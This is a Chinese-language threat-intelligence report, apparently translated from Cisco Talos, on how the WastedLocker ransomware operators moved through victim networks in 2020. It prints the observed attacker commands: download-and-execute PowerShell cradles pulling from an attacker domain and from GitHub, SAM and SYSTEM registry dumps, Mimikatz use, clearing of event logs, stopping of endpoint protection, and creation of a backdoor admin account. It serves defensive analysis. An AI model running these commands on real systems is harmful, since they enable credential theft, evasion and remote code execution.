2020年勒索軟件 WastedLocker 是怎樣造成破壞的
摘要
- 在最初破壞公司網絡之后,WastedLocker背后的攻擊者在激活勒索軟件和要求勒索付款之前執行特權升級和橫向移動。
- 使用“雙重用途”工具和“ LoLBins”可以使對手在企業環境中進一步朝著自己的目標努力時,逃避檢測并留在雷達之下。
- WastedLocker是對手繼續使用橫向移動和特權升級以最大程度地利用勒索軟件造成損害的最新示例之一。
- 使用“大型獵物”繼續對全球組織造成重大的運營和財務損失。
背景
勒索軟件對全球組織構成嚴重威脅。勒索軟件可以破壞計算系統的運行,攻擊者要求受害者通過加密貨幣的形式付款,來恢復受感染系統的正常運行。隨著攻擊者的能力日益成熟,他們制定了新的攻擊模式。最近的演變是在受害者環境內部激活勒索軟件之前使用特權升級和橫向移動技術。
通過在企業網絡的不同系統上同時激活勒索軟件,攻擊者可以最大限度地擴大破壞。這通常會導致:如果只有單個端點受到影響,組織可能更愿意支付贖金要求。一些企業的備份和恢復策略可能沒有經過充分的測試,而在這種情況下,他們的生產環境的很大一部分同時受到不利影響,這可能使他們更愿意支付贖金。攻擊者提高贖金的數額,通常會導致索要數十萬美元甚至更多贖金來恢復受感染的系統。這種方法有時被稱為“大獵物狩獵”。
在過去一年攻擊者頻繁使用這種手段,最近最為著名的勒索軟件就是“WastedLocker”,攻擊者利用Cobalt Strike,Mimikatz,Empire和PowerSploit等各種“雙重使用”工具集以便橫向移動,跨越目標環境。而這些工具集通常是為了進行滲透測試或團隊合作而開發的,但攻擊者卻利用這些工具。此外,使用本機操作系統功能以及通常稱為“ LoLBins ”的攻擊程序,攻擊者可以逃避檢測并在雷達下進行操作,直到他們準備激活勒索軟件并告知其存在為止。
技術細節
本文重點剖析這些攻擊的各個階段,并描述在目標環境中Cisco Talos觀察到WastedLocker的攻擊者在目標環境中使用的戰術,技術和程序。
初始訪問和達成妥協
正如之前報道中所描述的那樣,最初的黑客入侵似乎與假冒的谷歌Chrome更新有關,這些更新是在受害者瀏覽被攻擊網站時通過下載攻擊發送給他們的。最初的惡意軟件以包含惡意JavaScript文件的ZIP壓縮文件的形式發送給受害者。然后使用wscript.exe執行惡意JavaScript,以啟動感染過程。
| C:\Windows\System32\WScript.exe C:\Users<USERNAME>\AppData\Local\Temp\Temp1_Chrome.Update.b343b0.zip\Chrome.Update.c9a747.js |
|---|
威脅參與者還利用Cobalt Strike有效載荷在受感染的系統上執行命令執行,進程注入,特權提升和進程模擬。它還用于將憑證轉儲到系統上,這些憑證可用于向受感染網絡上的其他系統進行身份驗證,以促進進一步的橫向移動。
執行
POWERSHELL執行策略
PowerShell執行策略設置為“ RemoteSigned”,它允許執行本地創建的PowerShell腳本而無需對其進行簽名。
| powershell /c Set-ExecutionPolicy RemoteSigned |
|---|
遠程命令執行
PSExec實用程序在環境中的遠程系統上建立命令執行。
| psexec -s \< HOSTNAME>|< IP_ADDRESS> cmd |
|---|
特權升級
攻擊者利用msbuild.exe LoLBin 來逃避端點檢測并執行Cobalt Strike有效負載。以下是用于執行這些有效負載的msbuild的示例。
| C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe”,”C:\Programdata\\moveme.csproj” |
|---|
| C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe”,”C:\Programdata\\m0v3m3.csproj |
|---|
| ### 橫向移動 |
橫向移動是通過利用Windows Management Instrumentation(WMI)命令行實用程序(wmic.exe)來執行的,以便于在遠程系統上執行命令。此功能用于下載遠程托管的PowerShell腳本,該腳本可以傳遞到Invoke-Expression(IEX)cmdlet并在網絡上執行。下面是此活動的示例:
| C:\Windows\System32\Wbem\WMIC.exe /node: process call create cmd /c powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘hxxp://cofeedback[.]com/download/4uth’);jgifjgtebcndpgjk 19172 |
|---|
攻擊者利用Windows中的管理共享在受感染網絡之間的系統之間移動數據。
憑證轉儲
在大多數域環境中,Windows憑據可用于對網絡上的各種系統進行身份驗證。惡意攻擊者經常將緩存的憑據轉儲到他們成功入侵的系統上,以便可以將它們用于對同一安全邊界或域內的其他系統進行遠程身份驗證。已經觀察到WastedLocker背后的攻擊者使用多種技術來檢索受其控制的系統上的緩存憑據。
思科Talos觀察到該對手利用Cobalt Strike使用Procdump轉儲憑據,而Procdump是Microsoft SysInternals Suite的一部分。
此外,通過使用“ reg save”命令提取以下注冊表位置的內容來執行基于注冊表的憑據檢索。
| reg save HKLM\SAM C:\programdata\SamBkup.hiv |
|---|
| reg save HKLM\SYSTEM C:\programdata\FileName.hiv |
攻擊者利用Mass-Mimikatz,Empire的組件在網絡上的多個系統上執行Mimikatz。這是通過使用WMI生成新的PowerShell進程來執行的。此PowerShell過程用于從GitHub檢索MassMimikatz模塊,并將其與參數一起傳遞給IEX以執行。然后使用參數來促進從遠程系統中檢索憑證。
| C:\WINDOWS\SYSTEM32\WBEM\WMIC.exe /node:localhost process call create powershell /c IEX (New-ObjectNet.WebClient).DownloadString(‘https://raw.githubusercontent[.]com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'24346D,COMPUTERNAME2'|Invoke-MassMimikatz -Verbose > c:/programdata/2.txt |
先前的報道表明,該攻擊者不再利用Empire,但是Cisco Talos觀察到在主動攻擊中繼續使用此工具集的組件。盡管原來的Empire項目不再處于積極開發中,但此后卻被分叉,新項目的開發仍在繼續。但是,在這種情況下,攻擊者將繼續利用從原始項目存儲庫中檢索的模塊。
如前所述,攻擊者具有利用多種技術來檢索可在網絡上重用的憑據的能力。在許多情況下,這是橫向移動的最有效方法,如果攻擊者可以獲取特權憑據(例如服務帳戶或用于管理目的的憑據),則通常會導致域環境中特權的升級。
發現
在成功破壞環境后,攻擊者在受感染的系統上獲得有關系統以及系統所在環境的更多信息。攻擊后的這種發現過程使攻擊者能夠確定環境的配置方式以及橫向移動的其他目標,因為他們繼續朝著長期目標努力。重要的是要注意,本節中觀察到的發現和枚舉活動都是通過在系統上進行的手動操作員活動執行的,而不是通過腳本或其他自動化方法執行的。在某些情況下,攻擊者試圖執行包含印刷錯誤的命令行語法,然后立即對該語法進行更正并隨后執行命令。
帳戶和特權枚舉
| C:\Windows\System32\cmd.exe /C whoami /all >> C:\Users< USERNAME>\AppData\Local\Temp\rad971D8.tmp |
| C:\WINDOWS\system32\net.exe user < USERNAME> /domain |
| C:\WINDOWS\system32\net1 user < USERNAME> /domain |
| C:\WINDOWS\system32\cmd.exe /C quser |
| C:\WINDOWS\system32\quser.exe /server:< IP_ADDRESS> |
| C:\Windows\system32\cmd.exe /C qwinsta |
| C:\WINDOWS\system32\qwinsta.exe /server:< IP_ADDRESS> |
組成員枚舉
| C:\Windows\System32\cmd.exe /C net group domain admins /domain >> C:\Users<USERNAME>\AppData\Local\Temp\rad65F1C.tmp |
系統/域信任枚舉
| C:\Windows\system32\cmd.exe /C nltest /dclist:< DOMAIN| IP_ADDRESS> |
本地系統枚舉
| sc queryex type= service |
| C:\Windows\System32\cmd.exe /C net start >> C:\Users<USERNAME>\AppData\Local\Temp\rad38FFC.tmp |
| C:\Windows\system32\net1 start |
| C:\Windows\system32\cmd.exe /C powershell Get-WmiObject win32_service -ComputerName localhost |
| powershell Get-WmiObject win32_service -ComputerName localhost |
| #### 網絡和共享文件夾枚舉 |
| C:\WINDOWS\system32\cmd.exe /C net use |
| C:\WINDOWS\system32\cmd.exe /C dir \< IP_ADDRESS>\c$ |
| C:\Windows\system32\cmd.exe /C dir \< HOSTNAME>\c$\programdata |
| C:\WINDOWS\system32\cmd.exe /C ping -n 1 < HOSTNAME> |
網絡連接/出口測試
| C:\Windows\system32\cmd.exe /C ping -n 1 cofeedback[.]com |
防御規避
在操作員與系統進行交互之后,攻擊者使用PsExec來調用“ wevtutil.exe”實用程序。該實用程序清除了系統上本地安全事件日志的內容。攻擊者沒有選擇刪除特定的日志條目并“耗時”或操縱與日志相關的時間戳,而只是清除了日志文件的全部內容。除了清除日志條目外,還觀察到攻擊者禁用了在其控制下的系統上部署的端點安全軟件。下面是一些示例:
清除日志條目
| PsExec.exe -s \localhost cmd /c for /F tokens=* %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl %1 |
停止和禁用端點保護
進行了幾次嘗試來禁用部署在端點系統上的安全保護,包括Symantec Endpoint Protection,Windows Defender,以及多次嘗試為端點禁用Cisco AMP的失敗嘗試。
嘗試禁用SYMANTEC ENDPOINT PROTECTION
| C:\WINDOWS\system32\cmd.exe /c C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.2.5323.2000.105\Bin\Smc.exe -stop |
| C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.2.5323.2000.105\Bin\Smc.exe -disable -sep |
嘗試為端點禁用CISCO AMP
| C:\Windows\system32\taskkill.exe /F /IM sfc.exe |
| C:\Windows\system32\cmd.exe /C C:\Program Files\Cisco\AMP\7.2.7\sfc.exe -stop |
嘗試禁用WINDOWS DEFENDER功能
當將有效負載交付給受感染環境中的其他系統時,攻擊者還經常利用.NET運行時編譯。
.NET運行時編譯
| C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY / MACHINE:IX86 / OUT : C:\Users<USERNAME>\AppData\Local\Temp\RESF8F4.tmp c:\Users<USERNAME>\AppData\Local\Temp\h4bie4kg\CSC81E10858D57A44649763EE5728D5E87.TMP |
| C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /fullpaths @C:\Users<USERNAME>\AppData\Local\Temp\h4bie4kg\h4bie4kg.cmdline |
攻擊者用來實現對受感染環境中系統的持久訪問能力的一種常見機制是創建后門帳戶,攻擊者可以在最初的受害之后使用此后繼帳戶來攻擊系統。我們觀察到對手試圖在可用于此目的的系統上建立本地管理帳戶。
| C:\WINDOWS\system32\cmd.exe /C net user Admim < PASSWORD> /ADD |
| C:\WINDOWS\system32\cmd.exe /C net localgroup Administrators Admim /ADD |
收集活動
WMI還用于在網絡上的遠程系統上執行PowerShell進程。Invoke-Expression(IEX)cmdlet從其GitHub存儲庫中檢索PowerSploit模塊“ Get-TimedScreenshot”,并在遠程系統上執行該模塊,以每30秒捕獲一次遠程系統的屏幕截圖。
| C:\Windows\System32\Wbem\WMIC.exe /node: process call create powershell /c IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent[.]com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-TimedScreenshot.ps1');Get-TimedScreenshot-Path c:\programdata\ -Interval 30 |
收集的屏幕快照保存在遠程系統上的%PROGRAMDATA%目錄下,以供以后檢索。
總結
企業應了解攻擊者是如何橫向移動、提升特權,然后提升對環境的訪問權限來最大化所部署勒索軟件有效載荷的有效性。僅僅部署外圍安全并不總是足夠的,企業還應確保其具有分層的安全性,以確保它們預防,檢測和響應在成功破壞外圍安全防御的攻擊后可能在組織網絡內進行的惡意活動。 另外,企業應確保針對各種可能破壞業務運營的不同場景測試其備份和恢復策略,以確保即使在同時影響大量系統或基礎架構的情況下也可以恢復。